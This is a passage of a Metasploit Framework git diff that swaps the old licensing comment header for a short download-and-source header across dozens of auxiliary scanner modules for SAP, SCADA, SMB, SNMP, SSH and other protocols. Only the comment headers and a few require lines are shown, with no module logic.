a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index 79a1ba2596..ff743870e4 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 84611ac14f..594c238c5b 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index c485bac5b2..a0b0187559 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 6fd656920d..49e17db76d 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index 81b26f3da2..f774e23a5a 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index ac1d9de94b..146c600f19 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb index 5982c5cc09..df4ffab1df 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb index a9826e6537..c981682352 100644 --- a/modules/auxiliary/scanner/scada/digi_addp_version.rb +++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb index 72ffbf0631..905c90d585 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_serialport_scan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/digi_realport_version.rb b/modules/auxiliary/scanner/scada/digi_realport_version.rb index ae2f3ccdee..357a58e28a 100644 --- a/modules/auxiliary/scanner/scada/digi_realport_version.rb +++ b/modules/auxiliary/scanner/scada/digi_realport_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index 3be16c6c72..dffd5888e1 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/koyo_login.rb b/modules/auxiliary/scanner/scada/koyo_login.rb index bd2fb812d8..7ae26efc63 100644 --- a/modules/auxiliary/scanner/scada/koyo_login.rb +++ b/modules/auxiliary/scanner/scada/koyo_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb index 49e56f380c..10179aac51 100644 --- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb +++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index fc37bc4793..13035a0b20 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 1d1df25985..42a1981b3a 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb index 8abcafe6c6..de4e0723d9 100644 --- a/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb index 8f9b85ec61..4a54223527 100644 --- a/modules/auxiliary/scanner/sip/enumerator.rb +++ b/modules/auxiliary/scanner/sip/enumerator.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb index 925bf46f2f..5adc7d5f16 100644 --- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb +++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sip/options.rb b/modules/auxiliary/scanner/sip/options.rb index 6143ac3a38..b8cd0d8a44 100644 --- a/modules/auxiliary/scanner/sip/options.rb +++ b/modules/auxiliary/scanner/sip/options.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/sip/options_tcp.rb b/modules/auxiliary/scanner/sip/options_tcp.rb index d00807eaaa..d4fb1f0b56 100644 --- a/modules/auxiliary/scanner/sip/options_tcp.rb +++ b/modules/auxiliary/scanner/sip/options_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb index 3fcc58d02c..d1b262b2f3 100644 --- a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb +++ b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index 057db0757e..50b4666f0b 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index 15798b62c4..ea0fac20c2 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index 4046478118..ad9d57319b 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb index 5ca2f3dd99..17153dbd56 100644 --- a/modules/auxiliary/scanner/smb/smb2.rb +++ b/modules/auxiliary/scanner/smb/smb2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index 5161fbd88a..ca38c3c6a9 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index f1742914e5..bef9a6374d 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 4bb1544562..7e3f889f3b 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index f7c49afa3c..738609e72b 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 2e7c5c8407..99df43964d 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 128d0dc5fd..5e44019df1 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb index 3349b6a994..ceeb9ce9f8 100644 --- a/modules/auxiliary/scanner/smtp/smtp_enum.rb +++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index 642cdc74d6..fa044d5937 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/smtp/smtp_version.rb b/modules/auxiliary/scanner/smtp/smtp_version.rb index efc7723b7a..3eb8bebc58 100644 --- a/modules/auxiliary/scanner/smtp/smtp_version.rb +++ b/modules/auxiliary/scanner/smtp/smtp_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb index f0dfde4cd0..630b13f485 100644 --- a/modules/auxiliary/scanner/snmp/aix_version.rb +++ b/modules/auxiliary/scanner/snmp/aix_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb index bdc288dc5f..f684266d94 100644 --- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb index 86c8e33e91..3efd1988d1 100644 --- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb +++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index abc538c5cd..7d7909adb8 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb index 62854edc82..52e407a99a 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb index 2a07ae9031..9a8a5bf3c5 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index f86cc514fd..77603379b0 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb index e9bef36338..a16f32693c 100644 --- a/modules/auxiliary/scanner/snmp/snmp_set.rb +++ b/modules/auxiliary/scanner/snmp/snmp_set.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb index 45d231bb37..ee843e1c08 100644 --- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index cb4a6034b6..cf096ba2bc 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index 02ba755a55..b08a3e55cb 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index e0aa470d23..ea3e0fd261 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 977a48856c..b3bbc3ec3c 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telephony/wardial.rb b/modules/auxiliary/scanner/telephony/wardial.rb index 6c335bd3a6..fbfc654531 100644 --- a/modules/auxiliary/scanner/telephony/wardial.rb +++ b/modules/auxiliary/scanner/telephony/wardial.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb index fc117713d2..ecb9540cc8 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb index d11651712e..b7b0087315 100644 --- a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# 